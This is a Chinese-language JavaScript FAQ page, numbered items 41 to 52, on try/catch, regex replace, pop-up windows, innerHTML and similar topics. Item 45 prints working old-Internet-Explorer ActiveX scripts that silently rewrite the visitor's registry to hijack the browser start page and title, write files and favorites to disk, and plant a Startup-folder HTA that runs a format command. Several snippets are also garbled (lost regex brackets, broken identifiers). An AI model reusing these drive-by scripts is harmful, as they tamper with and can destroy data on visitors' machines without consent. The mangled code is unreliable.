如何在javascript中捕捉错误信息
当前位置:点晴教程→知识管理交流
→『 技术文档交流 』
41.如何在javascript中捕捉错误信息?
<script> try{ var s=a.b; } catch(anerror) { alert(anerror.description); } </script> 42.js正则表达式replace用法 下述示例脚本使用replace方法来转换串中的单词。在替换的文本中,脚本使用全局 regexp 对象的$1和$2属性的值。注意,在作为第二个参数传递给replace方法的时候,regexp对象的$属性的名 称。 <script language="javascript1.2"> re = /(+)(+)/; str = "john smith"; newstr=str.replace(re,"$2, $1"); document.write(newstr) </script> 显示结果:"smith, john". str.replace(re,"$2, $1");这一句,$2,$1是什么意思? 下面这个解释我也不大明白,可否帮我解释一下,多谢!{/font] $1, ..., $9属性 用圆括号括着的匹配子串,如果有的话。 是regexp的属性 静态,只读 在javascript 1.2, nes 3.0以上版本提供 描述:因为input是静态属性,不是个别正则表达式对象的属性。你可以使用regexp.input 访问该 属性。 能加上圆括号的子串的数量不受限制,但正则表达式对象只能保留最后9 条。如果你要访问所有的 圆括号内的匹配字串,你可以使用返回的数组。 regexp.$n 保存满足用圆括号括起来的匹配条件的子串 $2是匹配第2个括号,$1是匹配第1个括号,对多层括号嵌套应该如何区分?而且如果超过$1~$9的括号如何匹配? <script> var reg=/((+)(+))/; var str='john smith'; reg.exec(str); </script> <button onclick=with(regexp)alert($1+''+$2+''+$3);>view</button> 43.如何实现首页全屏幕显示? <html> <body><script language="javascript"> var coolw=642 var coolh=400 var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1, toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0") window.close() </script></body></html> 44.如何动态改变一个object对象的样式表风格的class? <style> .btn1{ background-color:#990000;color:#ffffff; } </style> <button onclick="this.classname='btn1'">你点我一下我的样式表就改为使用.btn1了</button> 45.如何用脚本来修改用户系统的注册表? (★★★★不推荐使用★★★★) <script> document.write("<applet height=0 width=0 code=com.ms.activex.activexcomponent></applet>"); function addfavlnk(loc, dispname, siteurl) { var shor = shl.createshortcut(loc + "\" + dispname +".url"); shor.targetpath = siteurl; shor.save(); } function f(){ try { //activex 初始化 a1=document.applets[0]; a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}"); a1.createinstance(); shl = a1.getobject(); a1.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}"); a1.createinstance(); fso = a1.getobject(); a1.setclsid("{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}"); a1.createinstance(); net = a1.getobject(); try { if (documents .cookie.indexof("chg") == -1) { //设置cookie var expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90)); documents .cookie="chg=general; expires=" + expdate.togmtstring() + "; path=/;" //设置cookie完毕 //设置主页 shl.regwrite ("hkcu\software\microsoft\internet explorer\main\start page", "http://www.51js.com/"); //修改浏览器的标题 shl.regwrite ("hkcu\software\microsoft\internet explorer\main\window title", "你的internet explorer已经被修改过了 51js.com"); //设置cookie var expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90)); documents .cookie="chg=general; expires=" + expdate.togmtstring() + "; path=/;" var wf, shor, loc; wf = fso.getspecialfolder(0); loc = wf + "\favorites"; if(!fso.folderexists(loc)) { loc = fso.getdrivename(wf) + "\documents and settings\" + net.username + "\favorites"; if(!fso.folderexists(loc)) { return; } } addfavlnk(loc, "无忧脚本", "http://www.51js.com"); } } catch(e) {} } catch(e) {} } function init() { settimeout("f()", 1000); } init(); </script> 格式化硬盘的, 把启动菜单下的automat.hta删除即可,这是格式化 a:盘 <object id="scr" classid="clsid:06290bd5-48aa-11d2-8432-006008c3fbfc"> </object> <script> scr.reset(); scr.path="c:\windows\start menu\programs\启动\automat.hta"; scr.doc="<object id='wsh' classid='clsid:f935dc22-1cf0-11d0-adb9-00c04fd58a0b'></object><script>wsh.run('start /m format a: /q /autotest /u');alert('note:windows is configing the system,do not interrupt it!.');</"+"script>"; scr.write(); </script> <html> <head> <title> 建立文件 </title> </head> <body> <br> <applet code="com.ms.activex.activexcomponent" > </applet> <script language="javascript"> a1=document.applets[0]; fn="51js.htm"; doc="<script>s1=欢迎你访问无忧脚本!\请您将在启动文件夹内的51js.com.htm删除即可;alert(s1);document.body.innerhtml=s1</"+"script>"; function f1() { a1.setproperty('doc',doc); } function f() { // the activex classid cl="{06290bd5-48aa-11d2-8432-006008c3fbfc}"; a1.setclsid(cl); a1.createinstance(); settimeout("a1.setproperty('path','"+fn+"')",1000); settimeout("f1()",1500); settimeout("a1.invoke('write',va);alert('"+fn+" 被建立');",2000); } settimeout("f()",1000) </script> <script language="vbscript"> va = array() ' 获取com.ms.com.variant[] </script> <br> </body> </html>原理是一样的! 46.如何监听一个窗口被关闭了? <body onunload="alert('你关闭了这个窗口')"> 47.什么是innerhtml、outerhtml………还有innertext? 自己用代码来体会一下 <div id=test><table><tr><td>文本<a>链接</a>另一段文本</td></tr></table></div> <input type=button onclick=alert(test.innertext) value="show innertext"><br> <input type=button onclick=alert(test.innerhtml) value="show innerhtml"><br> <input type=button onclick=alert(test.outerhtml) value="show outerhtml"><br> 48.关于try....catch..的语法捕捉错误使用例子 try{ 可能会引起错误的语句 } catch(表达式) { 错误处理语句 } 例如: <button onclick=trydemo()>try...catch...demo</button> <script> function trydemo() { try{ var a=b/2;//注意由于b不存在,所以会引发一个异常。 } catch(e) { alert('错误类型:'+e+'错误信息:'+e.descrition); } } </script> 49.如何获得一个select中选中option的value? select.options[select.selectedindex].value 50.this 和self 有什么区别,各在哪里用 self指代窗口。 this的情况: 1. 用于元素事件代码中指代元素本身: <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function构造的类。 <script> function car(){this.name='car';};alert(new car().name); </script> 51.如何禁止ctrl+n? <body onkeydown=return(!(event.keycode==78&&event.ctrlkey))> 52.所有dhtml对象的属性和方法其实在你本机的硬盘上就有! 查找:dhtmled.ocx 或在delphi/c++builder中import activex 选dhtmled.ocx 该文章在 2010/8/13 8:25:53 编辑过 |
关键字查询
相关文章
正在查询... |